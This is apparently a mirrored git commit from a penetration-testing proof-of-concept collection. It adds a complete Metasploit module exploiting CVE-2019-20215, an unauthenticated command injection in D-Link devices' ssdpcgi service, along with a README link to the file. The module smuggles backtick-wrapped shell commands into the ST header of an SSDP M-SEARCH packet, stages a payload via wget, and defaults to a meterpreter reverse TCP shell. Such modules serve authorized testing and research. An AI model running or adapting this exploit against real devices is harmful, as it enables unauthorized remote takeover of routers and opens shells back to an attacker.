mirror of
https://github.com/Mr-xn/Penetration_Testing_POC.git
synced 2025-06-20 18:00:35 +00:00
add D-Link Devices - Unauthenticated Remote Command Execution in ssdpcgi (Metasploit)CVE-2019-20215
This commit is contained in:
parent
8896d13f48
commit
7f43d54912
@ -0,0 +1,76 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::Udp
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'D-Link Devices Unauthenticated Remote Command Execution in ssdpcgi',
|
||||
'Description' => %q{
|
||||
D-Link Devices Unauthenticated Remote Command Execution in ssdpcgi.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
's1kr10s',
|
||||
'secenv'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2019-20215'],
|
||||
['URL', 'https://medium.com/@s1kr10s/2e799acb8a73']
|
||||
],
|
||||
'DisclosureDate' => 'Dec 24 2019',
|
||||
'Privileged' => true,
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_MIPSBE,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'PAYLOAD' => 'linux/mipsbe/meterpreter_reverse_tcp',
|
||||
'CMDSTAGER::FLAVOR' => 'wget',
|
||||
'RPORT' => '1900'
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Auto', { } ],
|
||||
],
|
||||
'CmdStagerFlavor' => %w{ echo wget },
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Msf::OptEnum.new('VECTOR',[true, 'Header through which to exploit the vulnerability', 'URN', ['URN', 'UUID']])
|
||||
])
|
||||
end
|
||||
|
||||
def exploit
|
||||
execute_cmdstager(linemax: 1500)
|
||||
end
|
||||
|
||||
def execute_command(cmd, opts)
|
||||
type = datastore['VECTOR']
|
||||
if type == "URN"
|
||||
print_status("Target Payload URN")
|
||||
val = "urn:device:1;`#{cmd}`"
|
||||
else
|
||||
print_status("Target Payload UUID")
|
||||
val = "uuid:`#{cmd}`"
|
||||
end
|
||||
|
||||
connect_udp
|
||||
header = "M-SEARCH * HTTP/1.1\r\n"
|
||||
header << "Host:239.255.255.250: " + datastore['RPORT'].to_s + "\r\n"
|
||||
header << "ST:#{val}\r\n"
|
||||
header << "Man:\"ssdp:discover\"\r\n"
|
||||
header << "MX:2\r\n\r\n"
|
||||
udp_sock.put(header)
|
||||
disconnect_udp
|
||||
end
|
||||
end
|
@ -22,6 +22,7 @@
|
||||
- [D-Link DIR-859 - RCE UnAutenticated (CVE-2019–17621)](https://github.com/s1kr10s/D-Link-DIR-859-RCE)
|
||||
- [小米系列路由器远程命令执行漏洞(CVE-2019-18370,CVE-2019-18371)](https://github.com/UltramanGaia/Xiaomi_Mi_WiFi_R3G_Vulnerability_POC)
|
||||
- [Huawei HG255 Directory Traversal[目录穿越]](https://packetstormsecurity.com/files/155954/huaweihg255-traversal.rb.txt)|[本地备份文件](./tools/huaweihg255-traversal.rb)
|
||||
- [D-Link Devices - Unauthenticated Remote Command Execution in ssdpcgi (Metasploit)CVE-2019-20215](./POC_Details/D-Link%20Devices%20-%20Unauthenticated%20Remote%20Command%20Execution%20in%20ssdpcgi%20(Metasploit)%20CVE-2019-20215.rb)
|
||||
|
||||
## Web APP
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user